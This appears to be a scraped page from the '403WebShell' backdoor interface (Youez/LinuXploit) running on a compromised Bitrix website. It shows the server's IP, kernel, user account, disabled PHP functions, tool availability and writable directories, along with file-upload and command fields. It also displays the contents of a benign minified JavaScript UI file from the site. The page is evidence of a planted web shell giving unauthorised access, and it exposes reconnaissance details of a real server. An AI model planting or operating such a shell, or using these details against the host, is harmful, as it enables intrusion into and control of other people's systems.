%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.17.183.186
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field//switch_field.min.js
(function(){"use strict";BX.namespace("BX.Landing.UI.Field");var i=BX.Landing.Utils.isFunction;var n=BX.Landing.Utils.isBoolean;var a=BX.Landing.Utils.bind;var t=BX.Landing.Utils.escapeHtml;var e=BX.Landing.Utils.fireCustomEvent;var s=BX.Landing.Utils.addClass;var l=BX.Landing.Utils.removeClass;var d=BX.Landing.Utils.toggleClass;var h=BX.Landing.Utils.create;var c=BX.Landing.Utils.append;var o=BX.Landing.Utils.random;var r=BX.Landing.Utils.join;BX.Landing.UI.Field.Switch=function(n){BX.Landing.UI.Field.BaseField.apply(this,arguments);s(this.layout,"landing-ui-field-switch");this.value=n.value;this.id=r("switch_",o());this.onValueChangeHandler=i(n.onValueChange)?n.onValueChange:function(){};this.label=h("label",{props:{className:"landing-ui-field-switch-label"},attrs:{for:this.id},html:this.title});this.checkbox=h("input",{props:{className:"landing-ui-field-switch-checkbox"},attrs:{type:"checkbox",id:this.id}});this.slider=h("div",{props:{className:"landing-ui-field-switch-slider"}});c(this.checkbox,this.label);c(this.slider,this.label);c(this.label,this.input);this.setValue(this.value);a(this.checkbox,"change",this.onChange.bind(this))};BX.Landing.UI.Field.Switch.prototype={constructor:BX.Landing.UI.Field.Switch,__proto__:BX.Landing.UI.Field.BaseField.prototype,onChange:function(){this.onValueChangeHandler()},setValue:function(i){if(!n(i)){i=i==="true"}this.checkbox.checked=i},getValue:function(){return!!this.checkbox.checked}}})();

Youez - 2016 - github.com/yon3zu
LinuXploit